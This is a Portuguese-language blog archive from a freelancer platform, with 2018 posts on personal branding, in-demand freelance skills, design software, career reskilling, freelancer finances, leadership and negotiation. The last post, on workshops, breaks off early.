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Freelancers devem investir em uma marca pessoal?

julho 20, 2018 in Blog

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Nunca foi tão fácil ser freelancer. Graças às mudanças sociais dos últimos anos, aos avanços tecnológicos e a uma nova postura do mercado, hoje é possível determinar a sua própria jornada de trabalho, escolher a quantidade de clientes que se quer atender e até mesmo atuar de qualquer lugar do mundo. Bom, qualquer lugar com uma boa conexão com a internet, pelo menos.

Só que todos esses fatores também trouxeram um efeito colateral: o aumento da concorrência.

De repente, mais e mais pessoas passaram a enxergar no trabalho autônomo uma saída para ganhar a vida, seja por vocação ou por necessidade, já que as recentes crises financeiras do país foram responsáveis por fazer muita gente perder o emprego.

Com mais pessoas oferecendo serviços, mais selvagem fica a concorrência. E não adianta apenas baixar os preços para continuar no jogo, porque essa prática acaba criando um efeito bola de neve que apenas diminui o valor percebido do serviço a longo prazo.

Para se manter vivo no mercado é preciso apostar em outras alternativas. É preciso conquistar e fidelizar clientes. É preciso se destacar da imensa massa de outros profissionais que existe aí fora. Como? Investindo na sua marca pessoal.

Mas o que significa investir em marca pessoal?
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Explicando de uma forma bem direta: significa realizar a gestão tradicional de uma marca. Só que essa marca é uma pessoa. No caso, você.

Essa gestão vai muito além de se ter uma logo, um cartão de visita ou um site. Ela trata de descobrir a sua essência como profissional, seus pontos fortes e fracos, como você é visto pelo seu público e, então, comunicar isso tudo para as pessoas certas.

Como criar a sua marca pessoal

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Pra início de conversa, tenha em mente que você já possui uma marca pessoal, mesmo que não saiba. Afinal, o que falam a seu respeito por aí já é uma espécie de marca. Sendo assim, não gaste energia tentando criar nada, mas sim procurando descobrir e entender a sua reputação e potencial.

No que você é bom? O que não gosta de fazer? O que as pessoas mais elogiam sobre o seu serviço? Você faz alguma coisa de um jeito diferente? Qual problema você é capaz de resolver? Refletir sobre isso vai ajudar você a enxergar melhor o seu papel e o seu lugar no mercado.

Descobriu quem você é e qual é a sua essência? Ótimo. É hora de dar um passo adiante e trabalhar em cima de como você deseja ser visto.

Diferenciando a sua marca pessoal

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Certo, então você refletiu, estudou, pesquisou e conseguiu classificar a si mesmo como profissional. Mas o desenvolvimento da sua marca não para por aí. É preciso pensar cuidadosamente em como você quer ser visto. Em outras palavras, de que jeito você gostaria que os seus clientes falassem de você?

Talvez fosse legal ser visto como alguém de entrega ágil? Ou quem sabe como um especialista em determinada área? Ou como uma pessoa que prima pelo atendimento?

Qualquer que seja o seu objetivo, tenha sempre em mente que ele deve estar de acordo com a sua essência. Por mais que o mercado valorize uma certa característica, você jamais deve explorá-la como diferencial se ela não for verdadeira para você.

Ao invés disso, foque nos seus pontos fortes que já são relevantes para os seus clientes. Maximize esse aspecto do seu serviço. Saiba o quão diferenciado você é e qual é o seu ponto de vista único sobre a atividade que exerce. E acredite, todos temos um ponto de vista único.

Feito isso, comunique tudo ao seu público.

Conquistando os clientes

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Agora que você já conhece bem a sua marca e os seus diferenciais, deve voltar os olhos para o seu mercado. Com quem você quer trabalhar? Que tipo de cliente você melhor atende? Há algum nicho que seja mais atrativo ou que costume procurar mais os seus serviços? Uma boa estratégia de marketing, com o posicionamento certo, pode ser o detalhe que faltava para você fortalecer de vez a sua marca e conquistar a sua parcela do público.

Pense bem: se você tem resultados excelentes com um segmento específico, por que não investir nele ao invés de tentar atender a todos? Um posicionamento bem executado permite que você seja visto como especialista, além de trazer maiores insights sobre o cliente.

Conhecer a fundo as pessoas com quem se quer trabalhar fará com que você saiba o que oferecer, quando, onde e de que jeito. Vai facilitar a comunicação, poupar tempo e dinheiro e será crucial para uma marca pessoal cada vez mais sólida com o passar do tempo.

Investir em uma marca pessoal é uma das medidas mais importantes que um freelancer pode tomar para garantir o sucesso. Por meio dela você estabelece seu lugar no mercado, aumenta sua reputação e atrai novos clientes. E tudo o que precisa para isso é conhecer a si mesmo, saber seus diferenciais e como deseja ser visto e, por fim, compreender qual nicho do público é o ideal para o seu caso.

Comece a trabalhar em sua marca desde já, de forma consistente e constante, e veja como novas portas se abrirão, inclusive na CROWD.

 

As 10 habilidades que estão destacando os freelancers diante a demanda

julho 12, 2018 in Blog

http://crowd.br.com/wp-content/uploads/2018/07/960x0.jpgQuer ter certeza de que você sempre esteja ocupado como freelancer? Então é importante oferecer os serviços que os clientes realmente precisam hoje.

Manter um olho nas habilidades mais procuradas nas principais plataformas de freelancers pode oferecer algumas orientações sobre onde concentrar seus esforços para permanecer atualizados. A Upwork recentemente divulgou sua lista de habilidades vendo a demanda com maior aumento na plataforma e, pela primeira vez, recomendou um curso em uma plataforma de aprendizado on-line onde você pode começar a aprender sobre cada uma delas.

“A combinação de fácil acesso ao curso de e-learning e a capacidade de aplicá-lo imediatamente é o motivo pelo qual os freelancers conseguem e continuam a reequilibrar 2x mais rápido que os trabalhadores tradicionais”, diz Rich Pearson, vice-presidente sênior de marketing da Upwork. “As pessoas não nascem com conhecimento de blockchain. Eles precisam aprender.”

Aqui estavam as 10 habilidades que aumentaram mais rápido para o primeiro trimestre de 2018, juntamente com os cursos recomendados pela Upwork para começar a aprendê-los. Você perceberá que a lista já mudou significativamente desde o trimestre anterior, em um sinal da rapidez com que o mundo do trabalho está evoluindo.

Embora os técnicos definitivamente tenham uma vantagem em atrair negócios, também há muito trabalho para pessoas com habilidades editoriais, de marketing e direção de arte. Entre os diretores de marketing pesquisados ​​pelo Gartner, 67% disseram que planejam aumentar seus gastos com publicidade digital em 2018, impulsionando o crescimento de áreas como voice over, legendagem, direção de arte e estratégia de conteúdo. “Em vez de contratar uma agência, eles vão diretamente para um freelancer”, diz Pearson.

  1. BlockchainBlockchain é a tecnologia na qual as criptomoedas são construídas. O trabalho para freelancers é abundante para aqueles que sabem como projetar e para novas moedas alternativas ou ajudar os clientes a construir uma nova troca de criptomoedas. “Vai ser a nova nuvem do século 21”, diz Pearson.Blockchain não está apenas impulsionando a demanda por especialistas em tecnologia. As consultorias também contratam escritores que podem explicar como isso funciona. “Há uma quantidade razoável de redatores escrevendo artigos e educando o mercado”, diz Pearson. “Há muitas incógnitas e equívocos sobre o blockchain.”Curso recomendado: IBM Blockchain Foundation for Developers (Coursera)
  2.  Tensorflow

    O Tensorflow é uma biblioteca de software de código aberto usada para aplicativos de aprendizado de máquina, entre outras coisas. Os desenvolvedores que sabem como usá-lo estão vendo um aumento gigantesco na demanda na plataforma.

    Curso recomendado: Learning Path: TensorFlow: Machine & Deep Learning Solutions(Udemy)
  3. Amazon DynamoDBO Amazon DynamoDB é um serviço de banco de dados usado em tecnologia de publicidade, jogos, internet e outras indústrias. Este é outro nicho de rápido crescimento para os desenvolvedores.

    Curso recomendado:AWS DynamoDB Deep Dive (PluralSight)

  4. Voice overO surgimento de vídeos, audiolivros, podcasts e outras mídias, onde a narração é importante, é uma boa notícia para os locutores. Os trabalhos atuais no site incluem narrar livros infantis, fazer uma narração de uma carta de vendas em vídeo e fazer dublagens para vídeos de aprendizado on-line.

    Curso recomendado: Voice-Over for Video and Animation (Lynda.com)

     

  5. LegendagemO crescimento explosivo do vídeo on-line também criou uma demanda por pessoas que sabem legendar vídeos. Essa área também requer boas habilidades de escrita e algumas habilidades tecnológicas.

    Curso recomendado: Learn All About Creating Subtitles (SRT) and Closed-Captions(Udemy)

  6. Direção da arteEstúdios de design e outros empregadores tradicionais de diretores de arte também contam com freelancers – e eles mantêm muitos agentes livres ocupados.

    Curso recomendado: Learning Art Direction

  7. Estratégia de conteúdoÀ medida que mais empresas procuram criar blogs, vídeos, podcasts e outros conteúdos, precisam de profissionais para ajudá-los a concentrar seus esforços. Freelancers com o direito editorial e habilidades de marketing estão em alta demanda.

    Curso recomendado: The Fundamentals of Content Marketing (SkillShare)

  8. Visão computacionalEssa é uma área da ciência da computação e da inteligência artificial que visa fornecer aos computadores uma compreensão visual do que está acontecendo ao seu redor. Muitas empresas estão em busca de desenvolvedores que dominam a visão computacional.

    Curso recomendado: Become a Computer Vision Expert (Udacity)

  9. Microsoft Power BIAs ferramentas de análise de negócios da Microsoft permitem que os usuários criem relatórios e painéis. Os trabalhos atuais da Upwork para desenvolvedores que sabem como usar o Microsoft Power BI variam de um para o desenvolvimento de software de análise financeira a outro que faz inteligência de negócios para uma empresa de geração de leads.

    Curso recomendado: Microsoft Power BI — A Complete Introduction (Udemy)

  10. Realidade aumentadaEssa é uma tecnologia que altera a visão de um usuário da palavra física com efeitos visuais, auditivos ou outros efeitos especiais. É outro nicho de rápido crescimento para os desenvolvedores.

    Curso recomendado: Getting Started with Augmented Reality (Udemy)

Elaine Pofeldt é autora do The Million-Dollar, uma empresa de uma pessoa (Random House, 2 de janeiro de 2018), um livro sobre como quebrar US $ 1 milhão em receita em uma empresa composta apenas por proprietários.

Texto originalmente escrito para a Forbes.

Profissionais de design: os principais cursos para desenvolver a carreira

julho 5, 2018 in Blog

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No cenário atual de crise política e econômica, em um mercado de trabalho cada vez mais competitivo, qualquer diferencial que destaque o profissional é importantíssimo. Especialmente nas áreas relacionadas à tecnologia, como em Webdesign ou Design Gráfico, as ferramentas e técnicas utilizadas evoluem constantemente. Assim, quem não investe em atualização e aprimoramento acaba ficando para trás.

Além disso, a forma de trabalhar também mudou. As demandas remotas (como trabalhar em casa) e com contrato freelancer estão cada dia mais populares. Nesse cenário, é preciso se destacar ainda mais, com bons currículos e portfólios para conseguir fechar novos projetos.

“No cenário competitivo do mercado atual, as empresas escolhem contratar o profissional capaz de mostrar o diferencial mais atrativo. Uma formação com diploma específico nos softwares mais utilizados no mercado, como Corel Draw, Photoshop ou Illustrator, por exemplo, oferece enorme vantagem, pois isso mostra que o profissional é um especialista no assunto”, conta Felipe Portes de Souza, sócio da Escola Design , plataforma que oferece cursos online para quem quer se profissionalizar nesse setor.

Principais capacitações necessárias

Em meio a tantos cursos e programas diferentes, pode ser difícil escolher o que é mais importante para a carreira do designer. A seguir separamos algumas dicas sobre os principais softwares da área e o que é essencial para quem quer ser um profissional altamente requisitado:

Adobe Photoshop

O gigante da edição de imagem não poderia estar fora dessa lista. Atualmente o software mais exigido pelos clientes de design, o Photoshop é extremamente versátil. O profissional que entende de Photoshop é capaz de trabalhar com edição de fotografia, montagens, desenho digital, vetores e dotado de inúmeros recursos e efeitos.

Não é à toa que o software é o queridinho dos designers no mundo todo. Um curso da ferramenta capacita o profissional para trabalhar com design para web e gráfico, publicitário ou criativo.

Adobe Illustrator

Se o seu foco for vetores e ilustrações, o Illustrator pode ser o que você procura. O software possibilita a criação de ícones, logotipos e trabalhos tipográficos, além de aplicar à ilustração a técnica mais utilizada para materiais que precisarão ser transcritos em diversas mídias diferentes: o vetor.

Capaz de criar imagens que podem ser redimensionadas para qualquer resolução sem perder a qualidade, o conhecimento dessa ferramenta não pode faltar no portfólio do designer de identidade visual nem do ilustrador.

Corel Draw

O Corel Draw é outro gigante dos vetores. Possibilita criar trabalhos de ilustração, estampas, logotipos, tipografia, entre inúmeros outros. Este é um dos mais populares programas para lidar com vetores no mercado. Como designer, você precisará editar um arquivo nesse formato uma hora ou outra.

O software permite também que você prepare seu trabalho para impressão com maior facilidade, mais um ponto para o argumento de que sem esse programa no seu currículo, seu repertório não estará completo.

Adobe InDesign

Utilizado em projetos de layouts e diagramação para impressão, o InDesign é o favorito disparado desse mercado. Com ele, você pode montar páginas de revistas e livros, folders e layouts. A ferramenta é ideal para a produção de conteúdos com diversas páginas.

Tanto para impressão quanto para web, se sua intenção é trabalhar com diagramação e layouts, o InDesign precisa constar no seu conjunto de habilidades.

Adobe After Effects

O After Effects é o sucessor do Flash. Mas longe de ser apenas um software de animação, o software lida muito bem com edição de vídeo e é capaz de criar composições em um ambiente 3D.

Atualmente, a maioria das produções para televisão e cinema passaram pelo After Effects em algum momento. Além disso, o programa é capaz de criar animações, infográficos e vinhetas. O domínio dessa ferramenta é fundamental para o designer publicitário, para o editor de vídeos e para o animador.

Blender 3D

Uma das mais poderosas ferramentas de modelagem e animação 3D disponível no mercado, o Blender é atualmente usado pelos gigantes da animação. Apesar de ser um programa tão versátil, sua interface é simples, personalizável e amigável para iniciantes.

Os modelos feitos no Blender podem ser exportados para uma enorme quantidade de formatos.
Você pode, além de animar, criar modelos para impressão 3D, jogos, simulações e o que a sua criatividade mandar.

Motion Builder

Mais focado na animação 3D para filmes e games, o Motion Builder apresenta inúmeros recursos para facilitar o processo de trabalho do animador.

O software permite visualização da animação em tempo real, motion capture utilizando o kinect, sistema de física, control rig, animação em layers, sistema de poses, floor contact e ainda oferece integração automática com o 3Dsmax e Maya.

Todos esses recursos permitem que o processo de animação seja mais rápido sem perder em qualidade.

Adobe Lightroom

Na era digital, tirar boas fotos não é mais o suficiente. O Lightroom é um poderoso editor de fotos que permite aprimorar todos os aspectos da imagem.

Munido de inúmeros filtros e ajustes manuais detalhados, o programa é indispensável tanto para o fotógrafo quanto para o designer que trabalha com fotos – sejam elas para revistas ou para catálogos web.

Além dos ajustes, o programa oferece maior organização e inúmeras opções de exportação da imagem, garantindo que a qualidade original seja mantida ou que a otimização do formato saia da melhor maneira possível.

Texto escrito para o portal Terra.

Quer se preparar para o futuro do trabalho? Pense sua carreira deste jeito

junho 28, 2018 in Blog

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Em seu relatório A Future of Jobs for All, o Fórum Econômico Mundial vai além para evidenciar a necessidade de atualização constante que chega na esteira da nova revolução tecnológica: chama este momento de “revolução de reskilling”.

Como este termo é cada vez mais frequente, acostume-se com ele: reskilling é a necessidade de atualizar suas habilidades nas áreas em que você atua. E não importa qual seja, de marketing digital a data science ou programação, há sempre espaço para avançar.

“Mesmo entre pessoas que têm bons empregos, a tecnologia disruptiva e as forças socioeconômicas ameaçam deixar seus conjuntos de habilidades e sua relevância obsoletos”, diz um trecho do relatório.

Ou seja, ninguém está e nem vai ficar numa posição confortável.

Isso não é uma previsão apocalíptica, mas uma chance de puxar um papel em branco e desenhar tudo aquilo que você deseja fazer no futuro num mundo de possibilidades cada vez mais amplas.

E este não é momento para esperar por um plano feito por outra pessoa, pela faculdade ou pela gestão de recursos humanos da sua empresa: só você sabe para onde quer ir – e não precisa ser um lugar só.

É hora de pensar em sua carreira como uma startup, como instiga Reid Hoffman, cofundador do LinkedIn, e considerá-la como algo em “versão beta permanente”.

Na palestra acima, Reid Hoffman conversa com estudantes da Stanford University sobre o que significa viver em “beta permanente”

Há uma transformação estrutural em curso quando se trata de sua carreira, segundo Hoffman, porque a ideia tradicional de escolher um caminho para trilhar e subir os degraus está deixando de existir.

“Não é mais verdade porque o mundo está mudando e há duas forças por trás disso, as pessoas e a tecnologia”, fala. “É um jogo de aceleração em que essencialmente todos estão envolvidos. Não dá para esperar que as coisas se movam mais devagar.”

E o que é possível fazer com essas informações em mente? Adaptar-se e investir continuamente em si mesmo para continuar em alta no mercado mesmo quando as coisas estiverem instáveis.

Para tanto, é preciso fazer como as startups e arriscar. Ou seja, vencer o medo do fracasso – que passa a ser visto apenas uma medida de progresso e não algo atrelado à sua capacidade ou potencial pessoal – e estar disposto a errar, aprender e tentar de novo.

É isso que significa estar em “beta permanente”: manter-se interessado em novas oportunidades, aberto a feedbacks e disposto a aprender para avançar cada vez mais.

O que você pode fazer na prática

Para se destacar desde já no mercado de trabalho do futuro (que está cada vez mais próximo), há algumas dicas práticas que você pode seguir:

  • Identificar e adquirir as habilidades que estão em alta na sua área (ou na área em que você quer atuar)
  • Fortalecer suas habilidades interpessoais, como comunicação, colaboração e inteligência emocional de maneira geral
  • Preparar-se para o recrutamento digital: criar uma presença e uma rede de contatos online consistente em plataformas como LinkedIn, Behance e GitHub faz toda a diferença para atrair empregadores
  • Considerar novas maneiras de trabalho, como freelancer, autônomo e remoto
  • Internalizar a lógica do lifelong learning: seu aprendizado deve ser contínuo

Este artigo foi originalmente publicado pelo blog da Udacity, a Universidade do Vale do Silício.

É freelancer? Planeje seus investimentos mesmo sem emprego fixo

junho 21, 2018 in Blog

Escolher a carreira de freelancer pode surgir de uma convicção – um profissional que prefira a liberdade de trabalhar por conta própria em vez de ter um chefe e ir todo dia ao escritório – ou de uma contingência, como a perda do emprego. Seja qual for o caso, a falta de um salário fixo ou de uma renda constante não deve gerar insegurança para aplicar o dinheiro: basta ter um pouco mais de cautela.

As aplicações recomendadas aos freelancers não são diferentes das indicadas às pessoas com emprego fixo. “O perfil dos investimentosconsolidados de quem não tem salário vai depender dos objetivos e características de cada um”, diz Sandra Blanco, consultora da Órama, plataforma de investimentos 100% online. Ou seja, o fato de não ser assalariada não impede a pessoa de investir de maneira mais arrojada ou de ter uma carteira diversificada.

Segundo especialistas em finanças, a diferença é a necessidade de ter uma reserva bem estruturada, de onde seja possível resgatar dinheiro em épocas de “vacas magras” para complementar a renda. “A reserva para emergências deve ter a maior atenção do freelancer, pois é o seu colchão de segurança”, diz Sandra.

Analistas indicam que, para os investidores em geral, é necessário ter uma reserva entre seis e 12 vezes os gastos mensais em aplicações seguras e com alta liquidez, para evitar surpresas em caso de imprevistos. Nesse caso, o recomendado são investimentos conservadores, como fundos DI ou títulos do Tesouro atrelados à taxa básica de juros (Selic).

Sandra aconselha que, para os freelancers, uma reserva equivalente a 12 vezes o valor dos gastos mensais seria o ideal para trazer tranquilidade. No entanto, ela destaca que é importante fazer uma revisão anual das aplicações para manter o nível das economias.

A reserva de emergência é fundamental para o profissional independente, mas também é recomendado que ele se preocupe com o futuro e pense na aposentadoria. Entre as opções de previdência complementar, o líder de Novos Negócios da Órama, Luiz Garcia, recomenda, no caso de profissionais sem salário fixo, o VGBL (Vida Gerador de Benefícios Livres), que tem, no momento do resgate, a incidência do Imposto de Renda somente sobre os rendimentos da aplicação, e não sobre todo o seu montante.

Finanças bem controladas

Outra regra de ouro para esse profissional é ter controle das finanças pessoais. “Sabendo que cada centavo faz diferença na sua subsistência, alcançar seus objetivos é desafiador e vai requerer dele muito controle e disciplina”, alerta Sandra Blanco.

Esse gerenciamento pode começar com a definição de um objetivo, por exemplo, uma quantia a ser economizada depois de um determinado período. Definida a meta, várias práticas podem ser adotadas para atingi-la: uma delas é o controle detalhado da entrada e saída de recursos. Separar suas fontes de receitas e de despesas em categorias, discriminando quais gastos ou rendas são recorrentes e quais são pontuais, é uma maneira de facilitar esse trabalho.

Esse planejamento também deve identificar despesas fixas e essenciais, como aluguel e condomínio, por exemplo, e as variáveis, como alimentação, transporte e lazer. Fazendo esse controle, é bem mais fácil saber se está gastando dentro dos seus limites.

Cortar gastos supérfluos é mais uma forma de equilibrar as finanças pessoais. Se você notar um descontrole nas despesas, identifique as categorias de onde mais sai o dinheiro. Avalie se suas assinaturas de revistas, serviços de streaming e TV a cabo são realmente necessárias, ou se os cinemas, jantares e barzinhos com amigos podem dar lugar a eventos em casa, onde se gasta menos. Evitar o pagamento parcelado do cartão de crédito também ajuda a controlar as finanças, evitando os juros das administradoras.

Em termos de entrada de grana, o freelancer deve, sempre que possível, diversificar as suas fontes de renda. Buscar novos negócios e fazer contatos evita que, caso seus clientes mais frequentes parem de contratar seus serviços, por qualquer motivo, você “fique na mão” de uma hora para a outra.

Texto escrito originalmente para o G1.

Saiba quais são as demandas em alta no mercado freelancer

junho 12, 2018 in Blog


São Paulo – Trabalhar de casa, ter horário flexível e ser seu próprio chefe são algumas das vantagens dos profissionais que vivem como freelancers.

Com tendências e demandas que mudam rapidamente, esse mercado de trabalho tem crescido: apenas no primeiro trimestre de 2018, trabalhos ligados à internet e ao conteúdo online saltaram 58,4%, na comparação com o último trimestre de 2017.

O dado foi divulgado no último relatório Fast 50 do Freelancer.com, que analisou mais de 415 mil postos de trabalho em todo mundo, publicados no site durante o começo do ano.

Com o reforço de sua presença online, as empresas procuram mais intensamente profissionais que possam melhorar sua apresentação no mundo digital. Assim, criadores de conteúdo, designers e programadores se destacam.

A demanda global por ilustrações e imagens digitais cresceu e gerou o aumento recorde de 109,3% nas oportunidades para After Effects, de 6.388 trabalhos, e 80,7% para Illustrator, de mais de 25 mil. A alta na busca por freelas para trabalhar com InDesign também é um recorde: 71,5%.

Mesmo em um mercado oscilante, a necessidade de criação de conteúdo escrito se manteve crescente: oportunidades em Article Rewriting aumentaram 51,1% no ano. Empresas internacionais de países que não falam inglês impulsionaram a procura pelo idioma, com crescimento de 103,5% na procura por inglês americano e 100% pelo britânico.

Para os desenvolvedores, Javascript e programação em C# lideram a demanda na plataforma. Ofertas de trabalho com a linguagem Java subiram 59,1% na comparação trimestral, atingindo 27.228 vagas publicadas. Trabalhos oferecidos em C# foram 8.926, uma alta inédita de 62,1%.

Vagas relacionadas a Data Mining e Processamento de Dados também cresceram, respectivamente, 51,5% e 16,9%. Assim como ferramentas para marketing online: o Search Engine Marketing cresceu rapidamente, com aumento de 78,6%.

Quedas e tendências

Para alguns designers, o mercado esfriou. A demanda por design de etiquetas e de aplicativos teve queda de 71,8%. A maior queda foi para desenvolvimento de e-mail, de 87,2%, devido a busca das empresas por produtos mais personalizados. Também parece que o livro em papel está de volta à moda: a procura por quem faça eBooks caiu 26%.

Enquanto isso, novas tecnologias ditam a tendência do mercado para o segundo semestre de 2018. O fenômeno da criptomoedas, entre elas o bitcoin, e problemas com a segurança de dados na internet devem criar uma demanda mais forte por profissionais especializados. Blockchain, um software de segurança de dados, já teve um aumento na procura de 58%.

A inteligência artificial (IA), segundo o relatório, trará mudanças enormes para todo o mercado. Por enquanto, o site projeta que cargos, para humanos, relacionados a ética de IA e educação devem crescer. A alta anual da demanda de trabalho nessa área é de 106%.

Texto escrito originalmente para EXTRA.com

Líderes devem ser consistentes e previsíveis?

maio 29, 2018 in Blog

Resultado de imagem para steve jobs

Na minha longa vida profissional liderei milhares de pessoas. Hoje, na minha nova função de conselheiro e investidor em empresas inovadoras, encontro, ou recebo notícias, de muitos desses profissionais que trabalharam comigo. Confesso que uma das minhas maiores satisfações é saber que a grande maioria dessas pessoas fala bem do efeito positivo que eu tive na vida delas. Quando isso acontece, o meu dia se ilumina e um senso de realização se estabelece.

Essa sensação de ter sido um bom chefe levou-me a refletir sobre as características que me fizeram um bom líder aos olhos desses profissionais. Foi quando me deparei com artigos e estudos recentes que valorizavam a consistência e a previsibilidade da liderança. Consideram que essas qualidades são mais importantes que habilidades tradicionalmente associadas a um bom líder. Um desses textos defende, inclusive, que é preferível ter um chefe terrível o tempo todo do que um que é terrível apenas parte do tempo.

Pensei comigo mesmo: acho que fui terrível algumas vezes, mas certamente não o tempo todo. Pior, considero que em algumas situações fui imprevisível, inconsistente e incoerente. Busquei modelos de liderança para comparar. Lembrei-me de Steve Jobs, modelo sempre lembrado e quase unânime e incontestável.

Seu biógrafo, Walter Isaacson, escreveu um pequeno livro resumindo suas principais competências como líder. Estão lá: foco, simplificação, a busca da perfeição, atração de talentos excepcionais, ter controle de todos os detalhes, combinar humanidades com ciências. Há vários outros exemplos, como sua famosa capacidade de “distorcer a realidade” quando seus argumentos lógicos de convencimento se esgotavam. Nada de previsibilidade e coerência.

Mas, pensando bem, Steve é especial, one of a kind. Não posso, nem podemos, nos comparar a ele. Mas conjecturei se seria possível tirar lições dessa sua trajetória que serviriam como inspiração para uma nova geração nestes novos tempos. Meus oráculos disseram que sim e sugeriram uma pequena narrativa.

O novo líder compartilha, tem relações horizontais com seus liderados, inspira e entusiasma, é ético, convive com ambiguidades, encoraja quem toma riscos e se responsabiliza por eles, combina ciência com humanidades e conduz seus liderados na construção de um futuro desejado.

Analisando a lista ouso concluir que desenvolvi uma boa parte dessas habilidades, embora certamente não todas. Vivi em um tempo em que as relações profissionais eram estáveis e o mundo empresarial mais previsível. Hoje o ritmo das mudanças se acelerou, as relações são fluidas, as estruturas temporárias e o futuro incerto. Nesse admirável mundo novo precisamos de líderes que surpreendam, seduzam, desconcertem, desconstruam, assombrem, seduzam e nos conduzam por caminhos nunca dantes navegados.

*Texto originalmente escrito para EXAME.com

Técnicas de negociação

abril 24, 2018 in Blog

“Negociar” costuma ser uma ação associada a dinheiro, ao universo corporativo ou a reuniões de líderes mundiais. Em raros momentos do nosso cotidiano notamos que a negociação é, na verdade, um processo natural da vida em sociedade. Pode ficar claro quando tentamos convencer um vendedor de nos oferecer um desconto, mas em situações como a organização da ceia de Natal e a discussão sobre quem vai levar o que, por exemplo, a negociação pode não estar visível até nos perguntarmos: “alcançamos um acordo?”

Porque negociar é essencialmente isso: buscar um acordo que satisfaça ambas as partes por meio de pensamento analítico e argumentação.

Desenvolver as habilidades certas para dominar uma negociação, portanto, é essencial. O objetivo é adquirir prática a fim de apresentar justificativas que terão um resultado concreto para o acordo e, consequentemente, para seu propósito com a negociação, seja ele pessoal ou profissional.

Mas como alcançar essa prática? É o que vamos responder neste artigo.

 

DOMINANDO UMA NEGOCIAÇÃO

O ato de negociar pode parecer natural e instintivo para quem assiste de fora, mas apesar de o instinto ocupar uma posição influente para quem sabe utilizá-lo bem no processo, a atividade também exige técnica, raciocínio lógico, habilidades de comunicação e bastante estudo.

Assim, o primeiro passo em direção ao domínio dos requisitos citados é se familiarizar com o percurso mais comum de uma negociação bem sucedida. Observe as etapas abaixo:

1- Preparação: esse primeiro passo é o que exige mais estudo e o que vai proporcionar maior segurança para sua argumentação. Isso porque se trata do momento de pesquisa sobre o contexto da negociação, a pessoa com quem se negocia e os métodos mais apropriados para alcançar o resultado almejado com base nas informações que reuniu.

2- Planejamento: defina um objetivo claro e tente visualizar os efeitos da negociação assim que chegar ao fim. Prepare-se para possíveis desfechos, sejam eles positivos ou negativos. Assim, é mais fácil “esboçar” a negociação como um todo e buscar respostas para prováveis questões que apareçam no caminho.

3- Acordos: A palavra de ordem é: fatos! Procure ser objetivo na sua argumentação, utilizando dados reais e informações que acrescentem credibilidade para o seu discurso. Durante a negociação, é importante utilizar as justificativas corretas no tempo certo, por isso, conhecimento é tão importante. Acordos fundamentados em fatos disponibilizam os recursos necessários para contornar objeções e lidar com possíveis concessões.  

4- Avaliação: trata-se do pós-negociação. É o momento de recordar suas ações e postura a fim de visualizar pontos forte e fracos. Pergunte-se: o resultado almejado foi atingido? E independente da resposta, siga com um: por quê? Avaliar sua performance é a melhor maneira de evitar erros no futuro e aperfeiçoar sua técnica.

5- Manutenção: pensar em formas de manter o resultado da negociação vivo, conservando o relacionamento construído.

É evidente que algumas pessoas possuem maior facilidade ou um instinto que se desenvolveu com as experiências que tiveram ao longo de sua jornada profissional (ou mesmo a nível pessoal), mas treinamento e estudo são essenciais em qualquer situação e capazes de potencializar o(a) negociador(a) que existe em todos nós. Ou seja, a habilidade de negociação não é um dom, mas consequência de treinamento e estudo.

 

TÉCNICA DE NEGOCIAÇÃO

1 – Os três pilares

De acordo com Herb Cohen, especialista em negociação que já prestou consultoria para organizações como o FBI e o Departamento de Justiça dos Estados Unidos, a ciência da negociação se baseia em três pilares: conhecimento, tempo e poder.

Conhecimento: é fundamental que você reúna o máximo de informações sobre todos os fatores que envolvem a negociação. Observe negociações anteriores e presquise. Eforce-se para compreender motivações e identificar a postura da pessoa com quem está negociando. Quanto mais informação, melhor a argumentação.

Tempo: a identificação dos momentos mais oportunos para apresentar ou questionar uma proposta exige treinamento. A melhor forma de perceber o tempo de uma negociação é observar e refletir sobre os acordos realizados por outras pessoas. Pesquise e atente a detalhes. O objetivo é que você alcance a capacidade de conduzir a negociação no seu ritmo.

Poder: aqui, não é sinônimo de autoritarismo ou superioridade, mas de uma postura segura, adquirida por meio da busca do primeiro pilar (conhecimento). O poder da informação vai te tornar uma figura influente na negociação.

 

2 – A postura

Quando se trata da busca por um acordo qualquer, as atenções externas costumam estar concentradas no motivo da negociação, em detrimento do processo para alcançar o resultado. Mas para quem integra uma das partes, é preciso equilibrar a dedicação entre todos os fatores envolvidos.

Um dos mais relevantes é a postura. Em vez de “o que está sendo negociado?”, o posicionamento que você define vai conspirar contra ou a favor do seu resultado ao basear-se em “como está sendo negociado?”

A postura do negociador encaixa-se em duas categorias principais e deve ser considerada e definida antes de iniciar a busca por um acordo:

Resultado imediato: caracteriza os negociadores que não consideram o pós-negociação, apenas o momento, o resultado imediato. Essa postura também é chamada de ganha-perde, porque uma ou ambas as partes não dão importância para o efeito do acordo para o outro.

Consideração pelo futuro: postura oposta à anterior, onde prevaleve a vontade de manter uma relação positiva com a outra parte, considerando o melhor acordo para ambos e as possíveis negociações futuras.

 

3. Os estilos

Conhecer o máximo possível sobre a pessoa com quem se negocia e entender seu processo lógico e postura durante uma negociação são fatores que simplificam o caminho para um acordo satisfatório. Mas é importante não se limitar a obter informações práticas sobre a outra parte, como o histórico acadêmico ou aptidões. Observe também o seu comportamento e estilo de negociação.

Em “Negociar é Preciso”, o pesquisador e consultor Richard Shell diferencia dois estilos de negociadores:

Estilo Competitivo: esse estilo de negociador trata a negociação como um jogo a ser vencido. Aguarda as ações da outra parte para reagir de maneira a beneficiar a si próprio(a), sem considerar as consequências para a pessoa com quem negocia. Oferece poucas concessões e faz ofertas abstratas e, por vezes, intangíveis.

Estilo Cooperativo: para esse estilo, o outro negociador não é um adversário. Adotam a postura de consideração pelo futuro do acordo e estão mais abertos a ouvir propostas e revelar informações para o bem do acordo, além de apresentarem propostas realistas.

Consegue identificar seu estilo? Acha que ele tem funcionado?

O estilo de negociador deve se adaptar ao tipo de negociação, por isso é tão importante entender o contexto e conhecer as pessoas envolvidas.

Por que eu devo fazer um workshop hoje?

abril 17, 2018 in Blog

É isso mesmo! Você deve correr atrás de fazer um workshop o mais rápido possível. E se você não acredita nos benefícios que ele pode trazer para a sua carreira, vem com a gente!

Primeiro, que coisa é essa de Workshop?

Acho bem difícil você não conhecer ou não ter a menor ideia do que se trata essa palavrinha, mas vamos lá. Workshop é a palavra usada para nomear uma reunião de um grupo de pessoas interessadas em determinado assunto.

Pode ser uma discussão sobre um tema de interesse comum aos membros presentes. Ele pode ser um seminário, grupo de discussão, troca de ideias e demonstração ou aplicações de técnicas e habilidades.

É a mesma coisa que palestra?

